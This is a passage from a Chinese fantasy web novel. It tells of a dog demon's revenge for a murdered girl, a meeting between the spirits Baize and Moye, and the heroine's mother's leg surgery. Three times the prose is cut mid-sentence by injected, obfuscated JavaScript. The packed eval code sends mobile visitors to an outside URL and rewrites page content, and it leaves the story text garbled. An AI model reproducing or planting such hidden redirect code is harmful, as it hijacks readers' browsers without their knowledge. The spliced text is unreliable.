“没什么,你继续。” 犬妖继续说道:“我曾经是一条流浪狗,每天和其他野狗争抢人类倒掉的饭食,那个时候我长得瘦小,根本抢不过其他狗,有一次我饿得头晕眼花,不小心跑到了公路上,被人类的汽车撞飞了。那个时候我以为我死了,可后来还是醒了过来,一个人类女孩救了我,送我去了医院。几天后我出了院,再次恢复了流浪生活,可那个女孩看到我都会给我喂狗粮吃,那狗粮味道比剩饭好吃多了,还不用和其他狗抢,我很满足,也很感谢她。” “她给我取名乖乖,每次都那么唤我。” “乖乖,出来吃饭了。” “乖乖,我要回家了。” “我喜欢她那么唤我,会让我觉得,我是有人爱的。” “我从有记忆来就成了流浪狗,我不知道父母是谁,有没有兄弟姐妹。她说每个人都有父母,她做不了我妈妈,可以做我姐姐。她还说她准备和爸妈坦白,并收养我。” “我带着希望等着她的好消息,可是没有等来。” 犬妖说着,眼神一下子就变了,一滴眼泪顺着眼角落了下来。 何耀听得已经基本猜到了事情的整个经过。 黑狗没有等来女孩,却得知女孩惨死,便开启了报仇之路,可男人早已逃到了读大学的地方,这两年都没回来,最近突然回来,便让黑狗发现了,于是给女孩报了仇。 这么看来,这只狗未免也太过灵性。 “那是个下雨的夜晚,我照常等着女孩过来,可她没有,我赌气没有出去抢狗食,一直等到了深夜,我知道她不会来了,我饿得两眼昏花,一直睡到了第二天早上,实在受不了了,便出去找吃的。” “我浑浑噩噩地在巷子里走着,前面出现了很多人,很吵,他们说着什么太惨了之类的话,我不知道他们在干嘛,于是也跟着去看,这一看便看到了她。” “她冰冷的躺在地上,身上的衣服都被扯坏了,露出来的肉青紫一片。我不知道她到底经历了什么,可她那双眼睛睁得很大,她死不瞑目啊。” 黑狗说着声泪俱下,几乎已经泣不成声。 安随拍了拍它的头,轻声安慰它。 过了会儿它才缓过来,继续说道:“我听人类说她是被人奸杀了,凶手不知道是谁,警方来了没有提取到什么有用的线索,附近也没有监控,凶手应该是这附近的人,因为他对这一片很熟悉。” “我看见有人把她抬走了,连忙追了过去,却被人撵走了。我不甘心,在后面远远地跟着他们,看见他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986610|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们把她抬上了车,我追了过去,可还是没有追上,那车跑得太快了。” “我又开始了流浪生活,每天路过形形色色的人,想找到那个带给我温暖的气息,只是再也没有出现了。” “一直到最近,我突然发现我的鼻子灵敏了许多,能闻到人类身上的气息,能感受到他们是否有恶意。前几天,我正在我的窝里休息,一个男人闯了进来,他身上的血腥气让我忍不住皱起了眉头,而这血腥气里带的另外一股气息太熟悉了。我几乎没有犹豫地扑向他,在他脸上狠狠地咬了块肉下来。” “找了这么多年,我终于找到了那熟悉的味道。”黑狗叹了声气,“我知道她被埋在了这里,于是带着男人的肉来祭拜她。” 安随没想到这里面的故事竟然那么曲折,她不由感叹,这是条知道感恩的狗。 从它话里可以得知,它并不是从妖界过来的,而是因为最近灵气扩散到人界后,无疑中觉醒了能力。这在未来并不是个稀奇的现象,灵气复苏,这样的生物只会越来越多。 而何耀已经震惊得说不出话来了。 谁能想到,这只口吐人言的黑狗居然有这么有灵性的一面,简直成精了。这个世界到底怎么了? “可你杀了人是事实,人类世界是不允许随意杀人的,这有违法律。”安随道。 “我替她报仇就已经满足了,我已经多活了几年,生死已经无所谓了。”犬妖甩了甩尾巴,它的眼神没有了先前的凶狠,变得清澈,眼睛湿漉漉的,看着没有一点攻击力,谁能想到它前几日才咬死了一个成年男性? 话音刚落,便见犬妖朝女孩的墓碑冲了过去,那速度奇快,根本来不及反应。 它的身体缓缓从墓碑上滑落下去,鲜血顺着额头流了下来。 安随叹了声气,走到它面前,看着它的鲜血染红了女孩的照片,终究是什么也没做。 何耀见它一头撞死在墓碑上,也被它的骨气震撼到了。 虽然他能够交差了,可心里有点堵是怎么回事? 将黑狗的尸体收敛后,两人出了墓园,踏上了回城的路。 一路上两人都没有说话,似乎还沉浸在刚才的那一幕里。 安随望着窗外,心里产生了一丝迷茫,也不知道自己做的对还是错。 她其实什么也没做,犬妖是自己撞死的,与她没关系,可话却是她说出来的。 何耀似乎看出了她的纠结,便开导她:“你没有错,在人类的世界里,它便要遵守这里的规则。男人是该死,可自有法律制裁他,而不是报私仇,否则这个世界乱套了。” 安随自然知道这个道理,可她心里还是有点难受。 何耀见她还是不开心,便开始转移话题:“你早就知道这个世界变了吗?” “嗯。” “这只是冰山一角吧。”能专门成立一个部门来处理这种事情,说明全国各地都已经出现了这种情况。 “你比你父亲会变通,若是你父亲,他定然说这些都是骗人的,让你不要信。”安随想起那个白发老人,便不由地笑了。 提到父亲,何耀也有些无奈:“老人家是这样,不是容易被骗,就是什么都不信。若不是亲眼所见,我也不会信的。” “做好心理准备吧,以后这种事还多着呢。”安随提醒他。 何耀听得不由苦笑:“可这种事哪里是我们普通人能解决的?今天若不是你在,我们根本不知道这只狗在哪。” “以后你们也会的。”安随说完也不再说了。 她已经能预感到,未来的能力者只会越来越多,当大众发现自己觉醒了不一样的能力,自然不会对妖怪的出现太过惊奇。 到时候,免不了又是一个大乱炖的局面。 安随想到那个画面就已经开始头疼了。 65. 第 65 章 安随在市里待到下午便坐了末班车回了老家,赵素兰已经收摊回家了,看着她轮椅上挂着的一些小配件,安随才想起来之前从蛇妖身上扒下来的皮还在自己包里放着,还没找人缝补。蛇皮放置一段时间后,已经风干,质地非常硬,从表面上看不出是什么,只以为是带着花纹的皮,这也是当初她看上蛇皮的原因。 吃完饭以后,安随便拿出那块蛇皮给赵素兰:“妈,您看这块皮能做两件马甲吗?” 赵素兰接过看了下,这块皮料摸着质地坚硬,但里面却很柔软,穿在身上不会觉得硌。她不由问道:“这是什么皮?” “我也不知道,别人给的。”安随随便找了个理由搪塞了过去。 赵素兰也没多问,便拿着皮料进了屋。她的工具都在里面,这皮料很宽,改制成两件小马甲足够了,甚至边角料还能做副手套。 两个小时后,赵素兰拿着两件马甲走了出来,让安随穿上试试。 安随接过其中一件,脱了外衣便开始试,还别说,这马甲跟量身定做的一样,非常贴身。安随试了一下便脱了下来,让赵素兰把另外一件穿上:“你也试试这件。” “我就不用了吧,我有几件马甲呢,这两件都是给你做的。”赵素兰连连摆手,安随却不依,非要让她穿上,赵素兰被磨得没办法了,只能依言去换上。 赵素兰的身材和安随的差不多,因此穿着也刚刚合身,但她总觉得有一股似有似无的味道,便忍不住问道:“安安,你这是从哪买的料子啊,怎么有股味道?” 安随先前已经用消毒水浸泡过,也晾晒过几次,按理说不该还有怪味才对,只不过那蛇妖也不知道是什么品种的,身上的味道大得很,即便她处理了那么久还是有一股味道消不掉,这也是没办法的事情。安随只得说道:“新料子都有一股味道,时间长了就好了。” 赵素兰信了,想要把马甲脱下,安随却道:“妈,以后您都穿着这马甲吧,暖和。” “那我也得洗了再穿啊,总不能穿着睡觉吧?” “就是睡觉都得穿。”安随道。 “为什么?”赵素兰不解。 安随也不知道怎么和她解释:“您就别问了,听我的就行。” 赵素兰果真不再问了,反正她知道,安安不会骗她就是了。 她又把那副手套递给安随:“这手套给你做的,你试试。” “您留着戴吧,我有。” “就这一双,我亲手给你做的。”赵素兰坚持。 安随却道:“您比我更需要这副手套,相信我。” 赵素兰看着安随的眼睛,那双眼里是从未有过的认真,一时间,所有的疑问都被压了回去。 “好。” 宁市的冬天晚上很冷,安随的两只手冻得通红,两只手掌相互搓了搓给自己取暖,赵素兰见状,便从屋里拿了另外一副手套给安随:“戴着吧,看你的手都冻成什么样了?” 这次安随没有拒绝,戴着毛线手套,果然手没那么冷了。 安宁镇很小,只有几个村,在宁市的存在感也弱,这里位置很偏僻,离主城区较远。这里人口外流严重,年轻人很多都出去打工了,只留下中老年人在家务农,小镇上大多是做小本生意的居民,赶场天的时候便能看到不少农民挑着自己家种的菜来街上卖,只有这个时候,才发觉这里有一丝烟火气。 第二天是赶场天,安随便跟着赵素兰出摊了。赵素兰的摊位不大,除了卖一些发圈手套之类的小物件,也接缝补衣服的活。今天天气很好,难得出了太阳,赶场的人也多,来找赵素兰补衣服的人也多,很多都是老主顾,信得过她,也认可她的手艺。 赵素兰很快忙了起来,安随便在旁边卖东西,这不是安随头一次在这里卖东西,只不过时间长了,那些人便不认得她了,见她在这,便有人问赵素兰是她的女儿吗?赵素兰笑呵呵地回应,便又换回对方的几句夸赞,诸如长那么高了,长得真漂亮之类的话,说多了安随自己都便觉得有些不好意思了,这里的嬢嬢们都好热情啊。 安随的东西卖得也快,赵素兰一上午也补了十几件衣服,补一次五块钱,加上安随卖的那些小物件,一上午也算是小有收获。中午的时候,场也散了,大伙都回家吃饭了,母女二人也收拾着东西准备回家。 小镇的街道没有斑马线,只能看准时机过马路,母女二人趁着没车的时候过,拐弯的时候,一辆火车却突然加速使了过来,司机拐弯的速度奇快,看着根本没有减速的意思。眼见着就要挂到两人,安随推着轮椅像一阵风一般穿过了马路,避开了货车。 到了对面,赵素兰还有些心有余悸。小镇上的很多车横冲直撞地,有的时候都不看路,每次过个马路都心惊胆战的。 她看了眼安随,却见对方的目光从所未有的冷,她不由得有些心惊,想起刚才过马路的时间那么迅速,就像有一股力量托着她连着轮椅都飞了起来,可她身后明明只有安随。 到底是怎么回事呢? 赵素兰发现,安随这次回来以后,和以前有些不一样了。 但她没有多问,安随长大了,有了自己的秘密,当妈的不能多问,每个人都有自己的专属空间,不希望被任何人打扰,即便她是她的母亲。 回到家以后,安随却异常沉默,赵素兰见状,便问道:“怎么了?是被刚才的那辆货车吓到了吗?” 安随却道:“以前经常有这种事发生吗?” 赵素兰却习以为常:“小镇的路那么窄,货车拐弯本就不方便,视野有盲区,正常。” “可若是出了事就不正常了。”安随说完便不说话了。 赵素兰叹了声气。 刚才过马路的地方路口本就狭窄,以前也出现过几次这种情况,但后来因为出了车祸撞死过人,政府便不让货车从那里通行了,只是不知道今天为什么那辆货车又出现在那里。 晚上八点的时候,安随开起了直播。 她虽然放假回家,但正常工作日还是她的直播时间。 现在她的直播在线人数已经上升到了百万,每天晚上都有各行各业各个年龄段的人看她直播,粉丝早就涨到了上千万,而打赏她也有一段时间没关注了,反正每天的礼物特效不断。 小镇上的夜晚很安静,安随为了不打扰他们休息,都是在客厅直播,也很少说话,网友们安静地观看她直播,而她挂着直播做其他事。 今晚安随想着好久没和粉丝互动了,便想再次开启她的心愿直播。 “大家晚上好啊。”安随清了清嗓子。 “主播晚上好啊,家里人都睡了吗?灯那么暗。” “白泽白泽,今天是有什么要和我们聊的吗?” “你怎么知道?”安随不解,这届网友也太聪明了吧! “因为你已经聊起来了啊。” 安随无语,她的想法都已经写在脸上,这么好猜吗? “主播主播,抽个心愿吧,你已经好久没抽了,上次还是去看贺知舟的演唱会呢。” “对啊对啊,我最近也遇到一些事情,想主播帮忙解决。话说主播接单吗?直播间网友太多了,我不相信我有这么好的运气被抽中。” 安随看着这条评论回应道:“最近放寒假了,暂时不考虑接私单的事哈,想多陪陪家人。” 很快安随又道:“不过可以考虑抽取心愿,但只针对线上或者离家五十公里的心愿哈,主播人在老家,不能走远了。” 一群人在评论区哀嚎,不过他们都知道安随放寒假的事情,自然也不会太过为难她。 安随很快开启了抽奖的功能,随着倒计时的结束,一个白狐狸头像的网友被抽中,安随很快将他抱上了麦。 对方似乎还不怎么熟悉功能,安随在那喂了半天都没反应,过了大概五分钟才听到一个低沉的声音说:“抱歉,不怎么会用这个,是我抽到了吗?” 安随:“是的,你有什么心愿想要让我帮你完成吗?因为人在家,我只接线上的心愿或者离我家近的心愿哦。” “没关系,我可以来找你帮我完成。” 安随顿了顿:“你知道我在哪?” “不知道,但我能找到你。” 安随觉得他说的话怪怪的,但既然对方被抽中了,只要不是太过分的要求,她都会答应。 “说说你有什么心愿吧。” “我想让你帮我找个人。” 安随有些为难:“找人太宽泛了吧,我去哪找人?” “用你的眼睛找。” 安随心生警惕,这人似乎知道点什么,不然不会说这么奇怪的话。 “你想找谁?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16994691|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “白泽。” 此话一出,直播间网友都纷纷觉得这人的心愿实在太过简单了,这不是闭眼找吗?主播白泽就在他们眼前,还要怎么找? 该不会是来捣乱的吧?这是众多网友一致的想法。 安随却不觉得,甚至隐隐从他话里听出来,他和白泽认识。 安随在心里问白泽:“你认识这个人吗?他好像在找你。” 此刻的白泽正在打坐修炼,距离他恢复真身的日子越来越近,可是修复灵魂的其他方法却一直没找到。这段时间他一直在闭关修炼,连外界发生了什么事也不知道,安随也没有打扰他。听到安随喊他,他这才修炼的状态中抽离出来,睁眼瞥了一眼那个头像,这一看竟震得说不出话来。 安随感应到他已经醒了,却迟迟不开口说话,不由道:“你怎么了?这人你认识吗?” “认识。” “真认识?那正好,约他来我这见面吧。” “不,你过去找他。” “为什么?”安随不解。 “或许他那有我修复灵魂的办法,我想,现在就见到他。” 安随:“……倒也不用那么急,现在已经晚上了,我还要直播呢。” “你可以挂着直播,然后去见他。” 安随见他执意如此,也有些无奈,这白泽,看来是被她惯坏了。 安随挂着直播间,然后私信了白狐狸头像男。 安随:“你是白泽的朋友?” “你真认识他?他在哪?”对方很快回应。 “你现在在哪?” “我在峰城。” 安随判断了下距离,这里离峰城不到两百公里,不算很远。 “我来找你吧。” 说完以后,安随便开始收拾东西。 临出门的时候,小凤凰似乎发现她要出去,便央求道:“老大,我也要出去!去看星星看月亮!” “看你个头啊。”安随忍不住揉了揉它毛茸茸的小脑袋,“老实在家呆着。” “不嘛不嘛,我就要和你一起去。”小凤凰开始撒娇。 安随无奈:“我出去又不是玩的,我有很重要的事情要去做。” “老大我会飞了,你不想体验一下飞翔的感觉吗?”小凤凰嘚瑟地甩着小尾巴。 “让它去吧。”白泽突然道。 “带它去做什么?你不会又想要它的血吧?”安随反问道。 “或许墨夜知道其他方法,小凤凰能日行千里,比你瞬移还快。” 安随想想也是,她的瞬移有距离限制,且消耗能量,能坐在小凤凰的背上,感觉很快就能到峰城了。 “那你跟着我吧。”安随对小凤凰说道。 小凤凰耶了一声,当即就要变身,被安随制止住了:“好歹下楼去再变啊。” 小凤凰这才收了翅膀,雄赳赳气昂昂地跟着安随出了房间。 一人一凤凰下了楼,到了小区里的一片空地。安随怕不保险,又找了个隐蔽的地方,这才让小凤凰变身。 只见小凤凰扑扇着两个翅膀,那翅膀越扇越快,随后它的身形也跟着变大,到了后面,站起来竟和安随一般高。 这还是安随第一次看到小凤凰变身后的样子,金黄色的羽毛在月光透过树叶的缝隙洒落下来后看不太真切,却还是能从路灯的余光下看出一点金黄。 安随忍不住摸了摸它的毛,非常柔顺光滑。 “怎么样?我的本体好看吧?”小凤凰摇着小尾巴,感觉自己美上天了。 凤凰一族本就生得美丽,擅长飞行,它们的羽毛可以做成利器,涅槃血能修复灵魂,火焰能燃烧一切黑暗。但随着妖王的打压,凤凰一族越来越少,存活在世的如今只有小凤凰一只,因此它才伪装成普通的鸡,也把自己的飞行能力也隐藏了起来,为的就是不暴露自己。 只不过,如果那个人是老大的话,它可以。 如果没有老大,或许这世间唯一的一只凤凰也不存在了。 小凤凰弯下身子,示意安随坐上去。 安随还是头一次体验这种感觉,她跨了上去,感受到贴身的地方并不觉得硌,反而十分柔软。她的小凤凰已经长成了真正的凤凰。 夜幕下,一只巨鸟在城市的上空飞行,朝着峰城的方向进发。 66. 第 66 章 墨夜给的地址位于宁市与峰城交界处的一个小县城,县城不大,但因为位于与宁市的交界处,离主城区还有段距离,不到半个小时就飞到了。 凤凰的身影缓缓从夜空中俯落,最后降落在了一处居民楼顶。 一轮圆月悬挂在空中,透过月光更将凤凰的羽毛衬托得流光溢彩,凤凰的背上坐着一名马尾少女,沐浴在月光下,宛如世外飞仙。 安随从凤凰身上下来,站在居民楼顶,俯视着下方,下面黑漆漆的,连盏路灯都没有。 安随不由问道:“确定是这里吗?怎么什么也看不见?” 不过很快她便发现,有一个白色的身影出现在楼顶的另外一层,缓缓朝她走了过来。 走近一看,这才发现那人长相十分出众,气质出尘,一身白色长袍遮住了他的脚踝,满头白发用一根丝带束住,却还是随着拂来的清风飞扬在半空中。 安随愣了两秒才回过神来,试探性地问道:“你是白泽的朋友吗?” 那人点了点头,上下打量了她一眼,随后问道:“怎么只有你一个人?白泽没来?” 话音刚落,墨夜便发现眼前的人类眼神一下子变了,从最开始的震惊到如今的欣喜,说出来的话也让他震在原地。 “墨夜,我是白泽。” 墨夜顿了会儿,在确定眼前的女孩确实是白泽后,这才问道:“你怎么变成现在这样了?” “说来话长。”白泽叹了声气,“我被封肆设计,如今灵魂不全,连真身都恢复不了。对了,你什么时候回的妖界?妖界现在如何了?” 墨夜道:“几个月前,我从神界回来,这才发现妖界已经乱了套,如今封肆一家独大,没有人是他的对手,我寻着你的气息来人界找你,没想到人界气息太乱了,我便判别不了你的方位,偶然发现了一个主播的名字和你相同,这才找了过来。” “神界怎么样了?”白泽更关心的是这个。当初白泽预言到妖界会有一场大乱,且不是他们能解决的,但他不能轻易离开妖界,一旦离开,妖界那些蠢蠢欲动的势力没了束缚,必将搅起妖界风云。身为狐王的九尾狐墨夜主动请缨,前往神界寻求帮助,这一去就是一百年。 墨夜沉默了会儿才道:“神界,如今神去楼空,只剩下空壳。” “什么?”白泽有些不信,追问道,“怎么会这样?到底什么情况?” “我到那的时候,那些亭台楼阁已经布满了蜘蛛网,神界不再是白茫茫的一片,而是被一种黑色的雾笼罩着,在那里久站都会感觉身体不适,那里似乎被某种力量入侵,众神应该是找到了新的神域,将那里弃置了。” 闻言,白泽久久不语。 两人一时都沉默了,没有人开口说话。 过了会儿,墨夜才道:“今晚去我家住一晚吧,未来如何,我们还需从长计议。” “不了,我今晚还得赶回宁市。”白泽说着便要起身,突然想到什么,又顿了顿,“对了,你知道有什么方法能修复灵魂吗?” 墨夜闻言,从兜里掏出一个白色瓷瓶,递给他:“我从神界废墟里捡到的一瓶还魂丹,但我不能保证有没有被污染,效果还有没有。” 白泽接过,隔着瓶身他都能感受到里面充沛的灵力,他打开瓷瓶,却只倒出两颗还魂丹,纯净的灵气扑面而来,夹杂着仙草独有的香味。 这瓶还魂丹并没有被污染。 白泽看着那颗还魂丹,有些犹豫。 这只瓷瓶里只有两颗还魂丹,他吃了,就只剩一颗了。 墨夜看出了他的顾虑,不在意道:“你忘了我可有九尾,就有九条命,这还魂丹对我用处不大,何况,你可是妖界的希望啊。” 白泽闻言,说了声“谢谢”,随即将那颗还魂丹小心翼翼地包了起来。 墨夜让他把两颗都收下,白泽想了想,还是收下了了。 “我得回去了,等我恢复便过来找你。”白泽说着,便上了小凤凰的背。 墨夜看着小凤凰飞在半空中,这才与白泽挥手告别:“等你的好消息。” 小凤凰载着白泽重新飞回了安宁镇,前前后后耽搁了不到两个小时的时间,回到家的时候不到十二点,白泽和直播间的网友说了一声后便下线了。 这晚,白泽选择在沙发上窝一晚上,在他的身体没有恢复之前,他并不打算将身体的主动权还给安随,以免出现什么变故。 夜又恢复了静悄悄,仿佛这一切都没有发生过。 第二天一早,白泽吃完早饭后,和家里人打了声招呼,便选择去了一个僻静的地方。 出了安宁镇,一直往西走,那里有一片茂密的竹林,荒无人烟,平日里也没有人踏足的痕迹,选择在那里服下还魂丹最适合不过。 白泽寻了一处还算宽阔的地方,拿出还魂丹,随后吞了下去。 过了会儿,他便感觉身体变得燥热,头上开始冒汗,他的手脚开始不听使唤,想要抬手抚下额头都变得十分困难,眼前的景象也开始变得模糊,他能感觉到自己的灵魂正在渐渐抽离这副身体,一点一点地,他在失去这副身体的掌控权。 这个过程持续了很久,久到日落西山,夜幕降临。 白泽躺在竹林中间,双眼紧闭着,周围的蚊虫好似遇到了屏障,靠近不了半点。 晚八点的时候,揣在兜里的手机响了。 躺在地上的人手指动了动,随后缓缓睁眼。手机铃声锲而不舍地响着,安随如梦初醒,连忙拿出手机,一看是赵素兰打的电话,连忙接了起来:“喂,妈。” “小随你去哪了?怎么那么晚都不回来?打了那么多个电话都没接,你这丫头是不是想急死我啊?”赵素兰见电话接通了,劈头盖脸就是一阵骂,骂着骂着声音也有些哽咽。 安随还有些搞不清楚状况,昨晚她把身体的控制权交给白泽后,她便失去了意识,因此对后面发生的事情一无所知,再睁开眼,便发现自己处在一片漆黑中,只有兜里的手机发出微弱的光芒。 被母亲骂,安随并没有觉得委屈,连忙道:“我这就回来,您别担心。” 挂断电话后,安随气哼哼地在心里骂白泽:“你这是跑到哪来了?乌漆嘛黑的,什么也看不见,我怎么回啊?” 只不过却没有得到任何回应。 安随也没放在心里,反正白泽经常搞失踪,现在再骂他也没什么用,还是得赶紧回家才行。 安随打开手机手电筒,随后借着微弱的光出了竹林,外面一轮圆月照亮了路面,也不至于让她完全失去方向。安随边走边骂白泽,去哪不好,偏偏跑到荒郊野岭里来,也不怕这有毒蛇毒虫。 安随走到大路上便知道自己在哪,赶紧瞬移回了家门口。她深吸了口气,这才掏出钥匙开门。 客厅里赵素兰和赵素心两姐妹坐在沙发上,赵素兰的眼睛红红的,想来哭了一场,安随负罪感爆棚,连忙走过去安慰赵素兰:“妈,对不起,我出去有事忙到现在,一直没时间接电话。” 赵素兰坐在那里没动,也没说话。一旁的赵素心连忙出来打圆场,假意骂了安随两句:“你说说你,一天到晚跑到哪去了嘛?你妈都担心死了,都哭了两回了,鼓捣喊我跟她一路去派出所报警,我跟她说没到24小时派出所不得立案,喊她等一等,她就一直坐在这里给你打电话,你看看你手机有多少个未接来电了?” 安随看了手机,并没有几个未接来电,不过山里信号不好,断断续续的也很正常。 安随只得说尽了好话,并且再三保证不会再这样了,赵素兰脸色才好看了点:“你早上说你要出去一趟,没说要不要回来吃午饭,我看你中午都没回来,便给你打电话问你回不回来吃饭,结果你也不接,下午也没给我回电话,我等到了晚饭时间给你打,你还是没接,你说说,你到底干嘛去了?安宁镇就这么大点地方,需要你花一天时间来逛吗?” 安随只得找了个理由:“我去初中同学家玩了,手机静音了没听见。” “哪个初中同学?” “冯静。” “我下午给她妈打过电话问你在她家没有,她跟我说没有。” 安随一听就知道坏了,看来她妈是真的很担心她,电话都打到她初中最好的同学家了。 安随一时哑口无言,杵在那里有些不知所措。 过了会儿赵素兰才叹了声气:“算了,人平安回来就好,以后千万不要像这次一样了,去哪里一定要和家里人说,不然我们会担心。” 安随小鸡啄米般地点头,恨不得把头都点掉,以表示自己的决心。 被赵素兰放走,安随这才回了房间开了直播。她每天固定八点就要开播,这会儿已经八点半了,安随一开直播,便涌现出无数评论,说她迟到了,罚她多直播一个小时之类的话。 安随见蒙混不过去,只得答应,一直到十二点才下播。 一晚上有惊无险地度过。 第二天一早,安随便又跟着赵素兰出摊了。 菜市场并不是赶场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997588|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天才开,每天都有人摆摊,只不过来买东西的人少,收入自然也少。安随之前买的房子是现房,后来找了个装修队,现在正装修着。她见赵素兰每天出摊那么辛苦,想让她别摆摊了,反正她现在也能养活母子二人,哪知被赵素兰言辞激烈地拒绝了,安随便不敢再提。 所以,她又开始盘算着买个门市,让母亲在那开个裁缝铺,反正是自己的店,想什么时候开就什么时候开,不用风吹日晒,也不用担心房租的事情。 这事她没告诉赵素兰,就怕她拒绝。 母子二人在那守了一上午,只接了两个改衣服的单子,东西一样也没卖出去。下午两人便没再出摊,安随出了小区,又找到了上次的那个售房部。 接待她的还是上次那个销售,见到她来眼睛都开始放光,十分热情。 “小妹妹,你这次来是想看什么呢?” “我想看个店铺。”安随直截了当道。 “正好,我们这两天门市搞活动,每平米便宜五百元,下个月就没有活动了,要下手的话现在刚好……” “好了,直接带我去看吧。”安随打断她。 销售就喜欢这么直截了当的,当下便带着安随去看了小区门口的底商门面。 这个小区叫“归宜居”,开发商在其他乡镇也开发了小区,连市里也有,信誉还算可以,没有听说过烂尾的事情。这也是安随愿意选择这里的原因。 归宜居在镇中心,平常的车流量还可以,底下一排商铺也卖了大半。这个小区很多,入住率还可以,因此在这里开个铺子不愁没生意。 最主要的是,离家近,赵素兰一出小区就到达店里,不用费什么周折。 安随只看了一圈便选中了一个五十平米的店铺,是长进型的,中间可以做个隔断,里面便能休息,还能做饭。虽然离家近,但难保有时候懒得回家,做成两间刚好。 安随当下便敲定了这里,然后跟着销售回了售楼部签合同。销售脸都快笑僵了,她可太久没遇到那么爽快的客户了。 这次安随准备等装修好后再和赵素兰说,免得她又念叨。 这次安随老实了,不敢回去太晚,还没到饭店便回去了。吃完晚饭后便又继续直播,白泽依然没有出现。 安随试图唤他,却没有得到任何回应。她不知道那天晚上白泽和墨夜说了什么,便问小凤凰:“那天晚上他们说的话你听到了吗?” 小凤凰摇头:“他们设了结界,我听不到他们说了什么。” 看来是很重要的话,连结界都设上了。 安随没再追问,把精力都放在了装修上,白天监督进度,晚上直播,日子便这么平静地过着。 半个月过去,白泽依然没有任何消息。安随猜想他应该是恢复了真身离开了自己的身体,只是心里还是空落落的,他都没有和她告别,就这样离开了,好歹他们认识了那么久。 月底的时候,安随接到了杜泽明的电话,他已经回了锦城,已经开始排班坐诊了,她可以随时带着赵素兰过去看病。 安随欣喜若狂,将这个好消息告诉了赵素兰,赵素兰一听,激动得手都不知道怎么放了,希望就在眼前,让她如何不激动? 但房子还没装修好,安随便想着让赵素心帮忙盯着进度,等做完手术,她便再回来,反正暑假还有一个月的时间。 她把这个想法告诉了赵素心,赵素心欣然同意,让她们放心地去,家里一切有她。 于是,两人踏上了回锦城的旅程。 挂了杜泽明的号,母女二人一大早便去了医院等着,等来到杜泽明的诊室,三人寒暄了一阵后便进入正题。 初步判断赵素兰的腿具备手术的条件,术后只要做好复键便很快能像正常人一样走动。于是很快办好了入院证,赵素兰需做很多检查,在检查完可以做手术后才能做。 于是又折腾了一天做检查,等到第二天早上的时候,杜泽明来查房的时候告诉他们,手术安排在明天早上,让她们做好准备。 这一晚,赵素兰怎么也睡不着,她心里对手术是既期待又害怕,期待自己站起来的一天,又怕自己下不了手术台。 安随见母亲紧张地睡不着觉,轻轻抚了抚她的额头,安慰道:“睡吧,睡一觉起来就好了。” 于是,赵素兰便真的不紧张了,一阵困意袭来,赵素兰便这样沉沉睡去。 安随看着母亲的睡颜,也对明天的手术充满了期待。 明天,只能成功,不会失败。 67. 第 67 章 早上十点的时候,赵素兰被推进手术室。安随坐在手术室外的长椅上,看着和她一样在那等着的家属,他们大多紧张得一直搓手,不时望向手术室的方向。安随虽然知道手术会成功,可不免还是会被这里的气氛影响,不时看向手术室。 不一会儿便听到医生出来喊病人的家属,然后被叫到名字的家属便起身跑过去,听医生说了几句后又跑了回来,明显看到他脸上的表情都放松了。 这便表明手术很成功,很快病人便被推了出来,那名家属便跟着推车回了病房,脸上是难以掩饰的笑容。 中途又有几名病人被推了出来,等在门外的家属走了一波又来一波,人数其实没有怎么变化,却换了不一样的面孔,而安随一直在那里等着,直到两个小时后,她听到了医生在门口喊“赵素兰家属”,安随腾地一下子就站起来了,几步就跨了过去:“医生,我是赵素兰家属。” “手术很成功,你在这里等着,一会儿病人推出来你就跟着一起回病房,六个小时内不能吃东西,不能让她睡觉,记住了。” 安随点点头表示记住了,医生又进去了,过了大概十多分钟,赵素兰才被推了出来。此刻的赵素兰已经醒了,只是看起来极度虚弱,连说话的力气也没有,护工推着她进了手术专用电梯,安随连忙跟了上去。 回到病房,在护工的帮助下,赵素兰重新躺回了病床,她的眼皮十分沉重,一直在打架,每当快闭上的时候,又被安随叫醒:“妈,不能睡。” 于是她又清醒了,嘴皮也非常干,想喝水,却被叮嘱六个小时都不能进食。于是赵素兰便在这样反复的睁眼闭眼中度过,也不知道熬了多久,总算听到“可以睡了”的字样,赵素兰再也撑不住,沉沉睡去。 而安随也终于可以分出一点心思,见输液的液体还多,安随便去了医生办公室找到杜泽明了解情况。杜泽明今天很忙,早上两台手术,下午还有两台,中午匆匆吃了两口饭,便又进了手术室,直到这会儿才有空坐下来休息,刚坐下,便见安随走了进来,他便又邀请安随坐下,和安随聊着赵素兰的情况。 杜泽明:“阿姨的伤并不严重,只是因为之前没有好好治疗,耽搁了治疗的时机,这才拖成现在这个样子,不过经过这次手术后,只要她坚持做康复训练,很快便能像正常人一样走路了。” 